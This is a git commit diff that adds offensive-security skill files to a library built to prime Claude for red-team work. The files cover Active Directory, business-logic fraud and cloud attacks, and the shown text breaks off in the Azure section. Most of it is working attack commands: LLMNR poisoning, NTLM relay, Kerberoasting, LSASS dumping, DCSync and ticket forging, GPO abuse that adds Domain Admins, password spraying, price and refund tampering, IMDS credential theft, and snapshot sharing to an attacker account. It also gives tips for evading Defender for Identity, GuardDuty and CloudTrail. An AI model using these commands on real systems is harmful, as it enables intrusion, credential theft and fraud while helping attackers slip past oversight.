claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.
Add 7 offensive skills: AD, wifi, business-logic, toctou, iot, mobile, cloud
Claudebce27a2b8e4c
diff --git a/Skills/offensive-active-directory/SKILL.md b/Skills/offensive-active-directory/SKILL.mdnew file mode 100644index 0000000..46a1b79--- /dev/null+++ b/Skills/offensive-active-directory/SKILL.md@@ -0,0 +1,428 @@+---+name: offensive-active-directory+description: "Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments."+---++# Active Directory — Offensive Testing Methodology++## Quick Workflow++1. Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries+2. Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed+3. Map attack paths to Domain Admin / Enterprise Admin / Tier 0+4. Execute path with lowest detection cost, validate at each hop+5. Establish persistence and document every action with timestamps++---++## Reconnaissance++### BloodHound Collection++```powershell+# SharpHound (CSharp collector) — most stealthy with throttling+SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip++# Stealth collection (DC-only, avoids workstation noise)+SharpHound.exe -c DCOnly --Stealth++# Bloodhound.py from Linux (no Windows host needed)+bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All+```++### PowerView (No Tool Drop)++```powershell+# Domain enumeration without binaries+$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()+Get-DomainUser -SPN | Select samaccountname,serviceprincipalname+Get-DomainComputer -Unconstrained+Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}+Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |+ ?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}+```++### ADExplorer Offline++```+# Take snapshot from any low-priv user, analyze offline+ADExplorer.exe → File → Create Snapshot+# Convert to BloodHound format+ADExplorerSnapshot.py snapshot.dat -o output/+```++---++## Credential Harvesting++### LLMNR / NBT-NS / mDNS Poisoning++```bash+# Capture NetNTLMv2 hashes from broadcast resolution+responder -I eth0 -wrf++# Inveigh (Windows-side, when you have a foothold)+Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y+```++Crack with hashcat mode 5600. If cracking fails, relay instead.++### NTLM Relay++```bash+# Identify relay targets (no SMB signing, LDAP signing not required)+nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt++# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request+impacket-ntlmrelayx -tf relay-targets.txt -smb2support \+ --escalate-user attacker --delegate-access++# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up+impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \+ --adcs --template DomainController+```++### Kerberoasting++```powershell+# Request TGS for all SPN-bearing accounts+Rubeus.exe kerberoast /outfile:tgs.txt /nowrap+# AES-only accounts (harder to crack but worth attempting)+Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt+```++```bash+# Cross-platform from Linux+impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request+hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule+```++### ASREProasting++```bash+# Find users with DONT_REQUIRE_PREAUTH set+impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass+hashcat -m 18200 asrep.txt rockyou.txt+```++### LSASS / SAM Dumping++```cmd+:: Modern, AV-friendly: comsvcs.dll minidump+rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full++:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)++:: nanodump (handle duplication, no MiniDumpWriteDump)+nanodump.exe --pid <PID> -w lsass.dmp --valid+```++Parse with Mimikatz or pypykatz offline:++```bash+pypykatz lsa minidump lsass.dmp+```++---++## Privilege Escalation Within AD++### ACL Abuse++| Right | Abuse |+|-------|-------|+| `GenericAll` / `GenericWrite` | Add SPN → Kerberoast; reset password; add member |+| `WriteDacl` | Grant yourself DCSync rights, then DCSync |+| `WriteOwner` | Take ownership → grant rights → exploit |+| `AllExtendedRights` (User) | Force password change |+| `AllExtendedRights` (Domain) | DCSync |+| `AddMember` | Add self to privileged group |+| `WriteSPN` | Set SPN, kerberoast target |++```powershell+# Targeted Kerberoast (write SPN, roast, remove SPN)+Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}+Rubeus.exe kerberoast /user:victim+Set-DomainObject -Identity victim -Clear serviceprincipalname++# Grant DCSync via WriteDacl+Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \+ -PrincipalIdentity attacker -Rights DCSync+```++### Kerberos Delegation++```powershell+# Find delegation+Get-DomainComputer -Unconstrained+Get-DomainUser -TrustedToAuth+Get-DomainComputer -TrustedToAuth++# Unconstrained → wait for / coerce DC auth, capture TGT+Rubeus.exe monitor /interval:5 /nowrap++# Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN+Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator \+ /msdsspn:cifs/dc.corp.local /ptt++# Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity+# Requires GenericAll/GenericWrite on the target computer object+```++### Coercion Primitives++| Technique | Tool / RPC |+|-----------|-----------|+| PetitPotam | `MS-EFSRPC` (`EfsRpcOpenFileRaw`, `EfsRpcEncryptFileSrv`) |+| PrinterBug | `MS-RPRN` (`RpcRemoteFindFirstPrinterChangeNotificationEx`) |+| DFSCoerce | `MS-DFSNM` (`NetrDfsRemoveStdRoot`) |+| ShadowCoerce | `MS-FSRVP` |+| WebDAV | Search-and-replace UNC path embedded in any web fetch |++```bash+# Coerce + relay full chain+impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &+PetitPotam.py -u low -p pass attacker-ip dc-ip+# Result: RBCD set, S4U → DA on coerced machine+```++### GPO Abuse++```powershell+# Find GPOs you can edit+Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |+ ?{ $_.SecurityIdentifier -eq (Get-DomainUser current).objectsid `+ -and $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }++# SharpGPOAbuse — add scheduled task / immediate task to GPO+SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System \+ --Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain" \+ --GPOName "Workstation Policy"+```++---++## ADCS Abuse — ESC1 through ESC15++### Enumeration++```bash+certipy find -u [email protected] -p pass -dc-ip 10.0.0.1 -vulnerable -stdout+```++### Common Misconfigurations++| ID | Misconfig | Exploitation |+|----|-----------|--------------|+| ESC1 | Client Auth + ENROLLEE_SUPPLIES_SUBJECT | Request cert with arbitrary UPN |+| ESC2 | Any Purpose EKU | Request cert valid for any use |+| ESC3 | Enrollment Agent | Request agent cert, then on-behalf-of any user |+| ESC4 | Vulnerable template ACL | Modify template to ESC1 |+| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | SAN injection on any template |+| ESC7 | Vulnerable CA ACL (ManageCA) | Approve own pending requests |+| ESC8 | Web Enrollment HTTP + no EPA | NTLM relay → cert |+| ESC9 | No security extension + UPN | UPN spoofing post-account-rename |+| ESC10 | StrongCertificateBindingEnforcement weak | UPN spoofing without rename |+| ESC11 | RPC unprotected (no ICertPassage IF_ENFORCEENCRYPTICERTREQUEST) | Relay over RPC |+| ESC13 | Issuance policy linked to group | Cert grants group membership |+| ESC14 | altSecurityIdentities write | Map attacker cert to admin |+| ESC15 | EKUwu — schema v1 templates | Inject EKU at request time |++### ESC1 Exploitation++```bash+# Request cert as Administrator+certipy req -u [email protected] -p pass -ca CORP-CA -template VulnTemplate \+ -upn [email protected]++# Use cert to get TGT and NT hash via UnPAC-the-Hash+certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1+```++### ESC8 (Web Enrollment Relay)++```bash+# Coerce any DC, relay to ADCS Web Enrollment, request DC cert+impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \+ --adcs --template DomainController &+PetitPotam.py attacker-ip dc.corp.local+# Result: cert for DC$ → TGT → DCSync+```++---++## Lateral Movement++### Pass-the-Hash / Overpass-the-Hash++```bash+# PTH with NT hash+nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth+impacket-psexec corp/admin@target -hashes :<NThash>++# Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)+Rubeus.exe asktgt /user:admin /rc4:<NThash> /ptt+```++### Pass-the-Ticket++```powershell+# Inject TGT+Rubeus.exe ptt /ticket:base64.kirbi+# Or from .ccache+KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local+```++### Silent Lateral Tools++```bash+# WinRM (no event logs in default channel for command exec)+evil-winrm -i target -u admin -H <hash>++# SMB exec without service creation (uses task scheduler)+impacket-atexec corp/admin@target -hashes :<hash> "whoami"++# WMI+impacket-wmiexec corp/admin@target -hashes :<hash>++# DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)+Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"+```++---++## Persistence++### Golden Ticket (krbtgt forge)++```bash+# Requires krbtgt NT hash (from DCSync)+impacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator+KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local+```++### Silver Ticket (per-service forge)++```bash+# Forge TGS for a specific service using its account hash+impacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local \+ -spn cifs/server.corp.local Administrator+```++### Diamond / Sapphire Ticket (modern, evades MDI on krbtgt)++```bash+# Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)+Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512+```++### DCSync++```bash+impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>+# In-memory PowerShell variant (Mimikatz)+Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'+```++### DCShadow (register rogue DC, push changes)++```+mimikatz # !++mimikatz # !processtoken+mimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519+mimikatz # lsadump::dcshadow /push+```++### AdminSDHolder++Add ACE granting your account `GenericAll` on `CN=AdminSDHolder,CN=System,DC=corp,DC=local`. SDProp propagates to all protected groups every 60 minutes.++---++## Forest & Trust Attacks++```powershell+# Map trusts+Get-DomainTrust -SearchBase "DC=corp,DC=local"+Get-ForestTrust++# SID History injection (cross-forest if SID filtering disabled)+# ExtraSids in golden ticket → admin in trusted forest+impacket-ticketer -nthash <krbtgt> -domain-sid <child-SID> \+ -extra-sid S-1-5-21-<parent>-519 -domain child.corp.local Administrator++# Trust ticket forging (inter-realm TGT)+Rubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi+```++---++## Hybrid AD / Entra ID (Azure AD) Pivots++| Pivot | Path |+|-------|------|+| AAD Connect server compromise | Dump MSOL_ account → DCSync on-prem |+| Seamless SSO | Forge Kerberos ticket for `AZUREADSSOACC$` → cloud SSO any user |+| PTA agent | DLL hijack `Microsoft.Azure.SecurityTokenService` → harvest cleartext |+| PHS hash sync | Read on-prem hashes from AAD Connect SQL (ADSync DB) |+| Federated trust | Forge SAML token via stolen ADFS token-signing cert (Golden SAML) |+| Pass-the-PRT | Steal PRT cookie from device → cloud session as user |++```powershell+# AADInternals — Hybrid identity attack toolkit+Get-AADIntADSyncCredentials # Extract MSOL_ creds from AAD Connect+Open-AADIntOffice365Portal -AccessToken $token+New-AADIntSAMLToken -ImmutableID 'a==' -Issuer 'http://sts/adfs/services/trust' \+ -PfxFileName 'token-signing.pfx'+```++---++## Detection Evasion (MDI / Defender for Identity)++| MDI Detector | Evasion |+|--------------|---------|+| Honeytoken account access | Always check `description` and recent activity before hitting accounts |+| Reconnaissance via SAMR | Use ADWS / LDAP-only collection, throttle |+| Suspicious Kerberos delegation | Avoid noisy `S4U2self` chains on monitored DCs |+| Golden/Silver Ticket detection | Use Diamond/Sapphire variants; match legitimate ticket lifetime/encryption |+| DCSync from non-DC | Relay through legitimate replication-permitted accounts |+| Pass-the-Hash | Use overpass-the-hash to convert to Kerberos before lateraling |++```powershell+# Identify MDI sensors before noisy actions+Get-DomainComputer -SPN '*MicrosoftATA*'+Get-DomainComputer | ?{ $_.servicePrincipalName -match 'AATPSensor' }+```++---++## Engagement Cheatsheet++```bash+# 1. Anonymous LDAP enum (no creds)+ldapsearch -x -H ldap://dc -s base -b "" "(objectclass=*)"+nxc ldap dc -u '' -p '' --users++# 2. Null SMB session+nxc smb dc -u '' -p '' --shares+impacket-rpcclient -U '' dc -no-pass++# 3. Password spray (low and slow)+nxc smb dc -u users.txt -p 'Winter2025!' --continue-on-success++# 4. Once authed: full enum + BloodHound+bloodhound-python -d corp.local -u user -p pass -ns dc -c All --zip++# 5. Identify attack path → execute → loot → persist+```++---++## Key References++- MITRE ATT&CK: TA0006 (Credential Access), TA0008 (Lateral Movement), T1558 (Steal/Forge Kerberos)+- ADCS: SpecterOps "Certified Pre-Owned" (Schroeder, Christensen)+- BloodHound: bloodhound.specterops.io+- Coercion: github.com/p0dalirius/Coercer (unified coercion toolkit)+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/active-directory.mddiff --git a/Skills/offensive-business-logic/SKILL.md b/Skills/offensive-business-logic/SKILL.mdnew file mode 100644index 0000000..0a0604a--- /dev/null+++ b/Skills/offensive-business-logic/SKILL.md@@ -0,0 +1,398 @@+---+name: offensive-business-logic+description: "Business logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact."+---++# Business Logic — Offensive Testing Methodology++Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.++## Quick Workflow++1. Map every multi-step flow as a state machine (states + allowed transitions + side effects)+2. For each transition, ask: who can call it, in what state, with what inputs, how many times+3. Probe each axis (state, identity, input, frequency) for assumptions+4. Combine flaws — single-axis flaws are usually low severity; chains are critical+5. Quantify financial impact per finding (loss-per-attack × scale)++---++## Reconnaissance — Mapping the Logic++### Build the State Machine++For each user flow, draw:+- **States**: cart, pending payment, paid, shipped, refunded, cancelled+- **Transitions**: which API/UI action, which role, which preconditions+- **Side effects**: balance change, inventory change, email, webhook++Look for transitions that:+- Skip intermediate states (`cart` → `shipped` without `paid`)+- Are reversible when they shouldn't be (`shipped` → `cart`)+- Trigger side effects more than once+- Allow cross-role invocation++### Hidden / Internal Endpoints++```bash+# Compare authenticated and unauthenticated JS bundles for buried admin routes+diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)++# Look for flag/feature toggles that change UI but not server-side enforcement+grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js++# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls+curl https://app/api/openapi.json | jq '.paths | keys'+```++---++## Workflow / State-Machine Bypass++### Skip a Required Step++```http+# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard+# Try jumping directly:+GET /dashboard+GET /api/account/details+POST /api/payout-settings+```++```http+# Checkout flow: /cart → /address → /shipping → /payment → /confirm+# Skip /payment by replaying /confirm with a previous order's payment-token reference:+POST /api/order/confirm+{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }+```++### Replay a One-Time Action++```http+# Refund endpoint without idempotency+POST /api/orders/123/refund # First call: $50 refunded, order marked refunded+POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)+```++### State Downgrade++Move a finalized object back to an editable state where mutations have effect:++```http+PUT /api/order/123+{ "status": "draft" } # If accepted, you can now edit the price field+PUT /api/order/123+{ "items": [{ "id": "tv", "price": 1 }] }+```++### Direct Endpoint Invocation++Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.++```bash+# Enumerate verbs on every discovered path+for path in $(cat paths.txt); do+ for v in GET POST PUT PATCH DELETE OPTIONS; do+ code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)+ echo "$v $path $code"+ done+done | grep -v -E ' (401|403|404) '+```++---++## Price / Quantity / Currency Manipulation++### Negative / Zero / Float Quantities++```http+POST /api/cart/add+{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?+{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?+{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?+```++### Hidden Price Fields++```http+POST /api/checkout+{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }+```++If the server trusts client-supplied `price`, you set the price. Test every numeric field — `price`, `total`, `discount`, `tax`, `shipping`, `subtotal`, `currency`.++### Currency Confusion++```http+POST /api/checkout+{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?+{ "amount": 100, "currency": "VND" } # Even better+{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?+```++Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.++### Coupon / Discount Logic++```http+# Apply same coupon multiple times+POST /api/cart/coupon { "code": "SAVE50" }+POST /api/cart/coupon { "code": "SAVE50" } # Stacks?+POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot?+POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?++# Coupon for a different product+POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }++# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)+POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable++# Expired coupon: change date in payload?+POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }+```++### Cart Tampering++```http+# Add a cheap item, edit the SKU server-side+POST /api/cart/add { "sku": "pen", "qty": 1 }+PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?+```++---++## Refund / Chargeback / Payout Abuse++### Refund More Than You Paid++```http+POST /api/orders/123/refund { "amount": 99999 }+```++### Refund After Returning Less++Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per *order*, free items.++### Convert Refund to Different Method++```http+POST /api/orders/123/refund { "method": "store-credit" }+# vs original card payment → store credit can be transferred / sold+```++### Payout Account Race++```http+PUT /api/payout-account { "iban": "ATTACKER" }+POST /api/withdraw { "amount": 1000 }+PUT /api/payout-account { "iban": "ORIGINAL" } # Restore before audit+```++---++## Identity / Tenant / Role Boundary++### Role Confusion via Multipart / Parameter Pollution++```http+POST /api/users/me+role=user&role=admin # Last-wins parser → admin+{"role": "user", "role": "admin"} # JSON last-wins+```++### Tenant ID Substitution in Hidden Field++```http+POST /api/invoices+{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }+# Charges victim-corp for attacker's order+```++### Mass Assignment / Field Whitelist++```http+PUT /api/users/me+{ "email": "[email protected]", "isAdmin": true, "credits": 10000, "tenantId": "victim" }+```++Test every field that exists on the model, not just those the form exposes.++### Indirect Privilege via Object Linking++```http+POST /api/projects/PUBLIC-PROJECT/share-token # Anyone can mint+GET /api/projects/PUBLIC-PROJECT/internal-only-data?token=...+# Sharing API meant for collaborators bypasses role check on data API+```++---++## Race Conditions on Logic Boundaries++Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see: `offensive-toctou`, `offensive-race-condition`.)++### Single-Packet Multi-Request++```python+# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,+# all requests' last frames sent in one TCP segment. Server processes them concurrently.+```++### Common Logic Races++| Flow | Race |+|------|------|+| Coupon redemption | N parallel `apply-coupon` calls each see "unused" |+| 2FA verification | Submit code N times in parallel before lockout counter increments |+| Withdrawal | Parallel withdraws each see full balance |+| Vote / Like / Reaction | "One per user" check raced |+| Invitation acceptance | Multiple accepts → multiple seats granted |+| Free-trial signup | Parallel signups → multiple trials per email |+| Gift-card redeem | Parallel redeems → multi-spend a single card |+| Inventory reservation | Parallel buys of last item → oversell, supplier covers difference |++### Amplification++```python+# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10+# Result: $300 credited from a $10 card+```++---++## Anti-Automation / Fraud Defeat++### Captcha / Rate Limit Bypass++| Bypass | Mechanic |+|--------|----------|+| Token reuse | One captcha solve, replay token across many requests |+| Endpoint mirror | `/api/v1/login` rate-limited, `/api/v2/login` not |+| Header rotation | `X-Forwarded-For: <random>` resets per-IP counter |+| HTTP/2 stream multiplexing | Each stream counted as same conn → window only |+| Method/case variation | `POST /Login` vs `POST /login` keyed differently in cache |++### Device Fingerprint / Velocity++- New device → require step-up auth. Replay captured device cookies / FingerprintJS hash.+- Velocity counters (5 logins/hour) often per `(userid, ip)` not per `userid`.+- Risk score thresholds: small purchases skip review. Test the boundary ($99.99 vs $100).++### Free Trial / Sign-Up Abuse++```http+# Email aliasing[email protected], [email protected] # Plus-aliasing[email protected], [email protected] # Dots ignored on Gmail[email protected] # gmail/googlemail equivalence++# Phone number recycling (number-portable VOIP) — identity not unique+# Device-ID rotation (mobile testing) — wipe storage, new install+```++### Referral / Reward Loops++```http+POST /api/refer { "email": "[email protected]" } # +$5 to me when they sign up+# Sign up the alias, receive referral+POST /api/refer { "email": "[email protected]" } # Repeat — many sign-ups, all same person+```++---++## Subscription / Quota / Tier Abuse++### Tier Downgrade Retains Premium Features++```http+PUT /api/subscription { "tier": "free" } # Cancel paid+GET /api/feature/premium-export # Still works because feature flag cached?+```++### Mid-Cycle Quota Reset++```http+PUT /api/subscription { "tier": "pro" } # +1000 quota+PUT /api/subscription { "tier": "free" } # Resets to 0? Or just caps display?+PUT /api/subscription { "tier": "pro" } # +1000 again — net 2000 in one cycle+```++### Add-On Stacking++```http+POST /api/addons { "id": "extra-storage" } # +10GB+POST /api/addons { "id": "extra-storage" } # Stacks to 20GB?+POST /api/addons { "id": "extra-storage" } # Or charges once, stacks N times?+```++---++## Time-Based Logic++### Time Travel via Headers++```http+POST /api/checkout+Date: Wed, 01 Jan 2020 00:00:00 GMT # Server-trusted time?+X-Request-Time: 1577836800+```++### Promotion Window++Set client-side date to inside the window, server validates `X-Promo-Time` parameter. Stale promo cache means yesterday's prices apply today.++### Token / Session Expiry++Refresh token endpoint that doesn't check the original token's expiry → indefinite session extension.++---++## Combining Flaws — Where the Crits Live++Single-axis findings are interesting; **chains** are payouts.++**Example chain (real, paid bounty):**+1. Coupon stacking allows `100% off` × 2 → negative total+2. Negative total → store credit issued (refund of "overpayment")+3. Store credit transferable to gift card+4. Gift card race condition → multiplied+5. Gift card redeemable on partner site for cash equivalents++**Chain template:**+- Find a thing the system gives you (credit, points, slot, seat)+- Find a way to multiply it (race, replay, stacking)+- Find a way to convert it to value (transfer, refund, payout)++---++## Engagement Approach++```+Day 1: Map state machines for top 3 money flows.+Day 2: Per state, list what the UI does. Check what the API allows.+Day 3: Single-axis tests (price tampering, role mass-assignment, replay, currency).+Day 4: Race conditions on every "one-shot" action.+Day 5: Chain the findings. Quantify financial impact per chain.+```++Document each finding as: pre-conditions → exact request sequence → state delta → financial impact per execution → scaling factor.++---++## Reporting Hooks++Business-logic findings often get downgraded by triagers who don't understand the chain. Always include:++- A diagram of the intended flow vs. the achieved flow+- A scripted PoC that runs end-to-end (no manual steps)+- A dollar value per execution and a feasibility statement for repeating it+- The fix at the right layer (state machine validator, not just input validation)++---++## Key References++- OWASP WSTG-BUSL — Business Logic Testing chapter+- PortSwigger Web Security Academy: Business logic vulnerabilities track+- MITRE ATT&CK: T1539 (Steal Web Session Cookie), T1078 (Valid Accounts) — for chained access+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/business-logic.mddiff --git a/Skills/offensive-cloud/SKILL.md b/Skills/offensive-cloud/SKILL.mdnew file mode 100644index 0000000..2d374ac--- /dev/null+++ b/Skills/offensive-cloud/SKILL.md@@ -0,0 +1,346 @@+---+name: offensive-cloud+description: "Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS/AKS/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen cloud credentials, or when assessing cloud posture."+---++# Cloud (AWS / Azure / GCP) — Offensive Testing Methodology++## Quick Workflow++1. Identify the cloud and the identity context you have (user, role, service account, instance role)+2. Enumerate without writes — `aws sts get-caller-identity`, `az account show`, `gcloud auth list`+3. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)+4. Find the data and the persistence anchors before alarms fire+5. Document the kill chain with timestamps, identities, and resources for the report++---++## AWS++### Identity Discovery++```bash+aws sts get-caller-identity+aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')+aws iam list-attached-role-policies --role-name <role>+aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \+ --action-names "*"+```++### IMDS Credential Theft++```bash+# IMDSv1 (legacy)+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>++# IMDSv2 (modern, requires token)+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \+ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")+curl -H "X-aws-ec2-metadata-token: $TOKEN" \+ http://169.254.169.254/latest/meta-data/iam/security-credentials/+```++From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without `Host: 169.254.169.254` and proper `PUT`-then-`GET` flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.++### Privilege Escalation Paths++| Path | Required Permission | Outcome |+|------|---------------------|---------|+| `iam:PassRole` + `lambda:CreateFunction` | Pass any role to Lambda you create | Run code as that role |+| `iam:PassRole` + `ec2:RunInstances` | Pass any role to EC2 instance | IMDS → role creds |+| `iam:CreatePolicyVersion` + `iam:SetDefaultPolicyVersion` | Edit your own policy | Self-elevate |+| `iam:UpdateAssumeRolePolicy` | On a privileged role | Add yourself as principal |+| `iam:CreateLoginProfile` (on user without one) | Set console password | Console access |+| `iam:CreateAccessKey` (on another user) | Mint keys for someone else | Persistent access |+| `sts:AssumeRole` with `sts:TagSession` to ABAC role | If role trusts session tags | Tag-based escalation |+| `cloudformation:CreateStack` + permissive role | Run any service action | Indirect arbitrary perms |+| `glue:UpdateDevEndpoint` | Inject SSH key into Glue endpoint | Code exec as Glue role |+| `ssm:SendCommand` to any instance | RCE on instances + their roles | Lateral + escalation |++```bash+# Pacu — the tooling for AWS escalation+pacu+> import_keys default+> run iam__enum_permissions+> run iam__privesc_scan+```++### Cross-Account / Organization++```bash+# Find roles trusting the current account+aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'+# Then grep AssumeRolePolicyDocument.Statement for trusts to your account++# Org-wide (if Organizations access)+aws organizations list-accounts+aws organizations list-roots+```++### Data Targets++```bash+# S3+aws s3api list-buckets+aws s3 ls s3://<bucket> --recursive | head+aws s3api get-bucket-policy --bucket <bucket>++# Cross-region snapshot share (data exfil without S3)+aws ec2 modify-snapshot-attribute --snapshot-id snap-... \+ --attribute createVolumePermission \+ --create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"++# RDS snapshot share+aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \+ --attribute-name restore --values-to-add ATTACKER_ACCT++# Secrets Manager / Parameter Store+aws secretsmanager list-secrets+aws ssm get-parameters-by-path --path / --recursive --with-decryption+```++### Persistence++```bash+# Cross-account SCP exemption via service-linked role+# AWS Config snapshot delivery channel rerouted to attacker bucket+aws configservice put-delivery-channel ... # Rare but devastating++# EventBridge rule firing Lambda you control on every IAM change+# Backdoor: Lambda creates an access key for any new admin user+```++### Detection Evasion++- CloudTrail to multi-region with log file validation — disable validation if you have perms+- GuardDuty findings can be muted via `update-findings-feedback` if you have the permission (rare in prod)+- VPC Flow Logs only catch IP traffic; control-plane API calls are CloudTrail-only++---++## Azure++### Identity Discovery++```bash+az account show+az ad signed-in-user show+az role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)++# 